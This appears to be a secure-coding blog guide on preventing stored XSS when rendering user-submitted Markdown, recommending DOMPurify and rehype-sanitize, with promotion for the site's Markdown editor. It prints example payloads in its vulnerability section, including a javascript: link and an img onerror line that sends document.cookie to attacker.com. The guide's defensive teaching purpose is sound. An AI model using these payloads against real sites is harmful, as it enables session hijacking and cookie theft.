Markdown Previewer & Editor3 min readOct 21, 2026

How to Sanitize Raw HTML in Markdown: Complete XSS Prevention Guide

Learn why rendering untrusted user Markdown leads to Stored XSS attacks. Discover how DOMPurify, rehype-sanitize, and sanitize-html neutralize malicious tags.

Direct Summary (TL;DR)

CommonMark permits raw HTML tags within markdown. If an application parses user-submitted markdown and renders the output via dangerouslySetInnerHTML or v-html without sanitization, attackers can inject stored XSS payloads like <img src=x onerror=alert(document.cookie)>. Sanitize every HTML output using DOMPurify or rehype-sanitize.

Interactive Mickytool Utility

Solve this problem now with our free Markdown Previewer & Editor

Try it instantly in your browser — zero tracking, 100% client-side privacy.

Open Markdown Previewer & Editor

Specification & Architecture Reference

How to Sanitize Raw HTML in Markdown: Complete XSS Prevention Guide — Technical Summary
Sanitization ToolEcosystemRuntime EnvironmentDefense Mechanism
DOMPurifyClient & Server (isomorphic-dompurify)Browser DOM & Node.js
rehype-sanitizeUnified / Remark / Rehype ASTBuild step / Server-side
sanitize-htmlNode.js Server backendServer-side only

The Inherent Vulnerability of Raw Markdown

The CommonMark specification deliberately allows raw HTML within markdown so authors can insert complex tables or customized styling.

However, when an application accepts markdown from users (e.g., forum comments, blog responses, user bios, support tickets) and compiles it to HTML:

markdown
Check out my profile: [Click Here](javascript:alert(document.cookie))
<img src="x" onerror="fetch('https://attacker.com/steal?c='+document.cookie)" />

A standard markdown compiler converts this directly into malicious HTML. If injected into the page via React's `dangerouslySetInnerHTML`: ```javascript // ❌ VULNERABLE TO STORED XSS: <div dangerouslySetInnerHTML={{ __html: marked.parse(userContent) }} /> ``` The browser executes the JavaScript, allowing session hijacking and unauthorized API requests.

The Solution: DOMPurify in React & Next.js Always pass compiled HTML through **DOMPurify** before rendering:

javascript
import DOMPurify from "dompurify";

function SafeMarkdown({ content }) { const rawHtml = marked.parse(content); // Strip dangerous tags (<script>, <iframe>, <object>) and event handlers (onerror, onclick) const cleanHtml = DOMPurify.sanitize(rawHtml, { USE_PROFILES: { html: true }, });

return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />; } ```

Unified / Rehype Pipeline Alternative If using modern Next.js with `react-markdown`: ```javascript import ReactMarkdown from 'react-markdown'; import rehypeSanitize from 'rehype-sanitize';

<ReactMarkdown rehypePlugins={[rehypeSanitize]}> {userMarkdown} </ReactMarkdown> ```

Safely test markdown formatting without server security risks using Mickytool's client-isolated **Markdown Previewer & Editor**.

Interactive Mickytool Utility

Solve this problem now with our free Markdown Previewer & Editor

Execute this workflow immediately without saving data on remote servers.

Open Markdown Previewer & Editor

Frequently Asked Questions

Does escaping HTML (< and >) prevent XSS in markdown?

Escaping HTML prevents injection of raw HTML tags, but does not block javascript: pseudo-protocols inside standard Markdown links [Click](javascript:...). A dedicated sanitizer is required.

Can DOMPurify be used server-side in Next.js Server Components?

Yes, using the isomorphic-dompurify package or jsdom under the hood, though running sanitization in client components or during API ingestion is often cleaner.

Related Engineering Guides